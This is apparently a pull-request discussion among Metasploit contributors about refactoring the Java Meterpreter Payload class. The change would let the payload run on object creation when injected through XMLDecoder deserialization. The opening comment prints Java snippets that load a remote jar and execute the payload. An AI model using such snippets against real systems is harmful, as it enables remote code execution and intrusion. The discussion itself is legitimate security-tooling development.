Allow payload execution during object creation

[pwntester]

Injecting a Java meterpreter into restricted contexts make it difficult to call: URLClassLoader u = new URLClassLoader(new URL[]{new URL("url to met.jar")}); Class c = u.loadClass("metasploit.Payload"); c.getMethod("main",new Class[]{Class.forName("[Ljava.lang.String;")}).invoke(null,new Object[]{new String[0]});

This is the case for XMLDecoder deserialization where "invoke" is not allowed and methods cannot be passed null as arguments. However its much easier to do:

URLClassLoader u = new URLClassLoader(new URL[]{new URL("url to met.jar")}); u.loadClass("metasploit.Payload").newInstance();

And in order to do that, the Payload class require a constructor that runs the payload.

[jlee-r7]

@timwr Can you take a look at the Travis errors, please? I'm having trouble figuring out what's wrong with it.

[timwr]

It looks like that static initializer is causing any reference to the class (e.g calling Payload.class) to block as it runs the payload. Perhaps it's best to revert and use https://github.com/pwntester/metasploit-javapayload/commit/b17c98469bff19a75f804c6580c99fb6ec652089 Thoughts @schierlm?

[schierlm]

Static initializers are ugly and unpredictable in larger projects and also when trying to test code. If you want a static initializer for faster reflective loading, add it to a small second class that only calls Payload.main in the initializer, and make sure the jars that need it include it (just like now some classes are included dynamically if the payload or exploit needs it).

I don't object against a refactoring that adds a Constructor to Payload class, though. I'd make the run method non-static and replace references in it to new Payload() to point to this, then let main call new Payload() and the constructor call run() (or inline run into the constructor). That way, the existing flow will not change (only will create the instance a bit earlier), there are no re-entrance problems (like they were in case you try to invoke the Payload multiple times from the same classloader, like in a servlet or xsl exploit) and no ugly flags.

If you refactor the constructor, bear in mind it will "break" https://github.com/schierlm/metasploit-javapayload/compare/java_war_bind_http_incomplete2 (no time and energy to upstream it currently, though) so that one needs fixing, too (in case anyone wants to use it).

[timwr]

@pwntester are you still keen to get this merged? Could you provider some verification steps for this pull request please? Also please could you revert back to pwntester@b17c984 ?

[timwr]

Closing this due to inactivity. Feel free to reopen.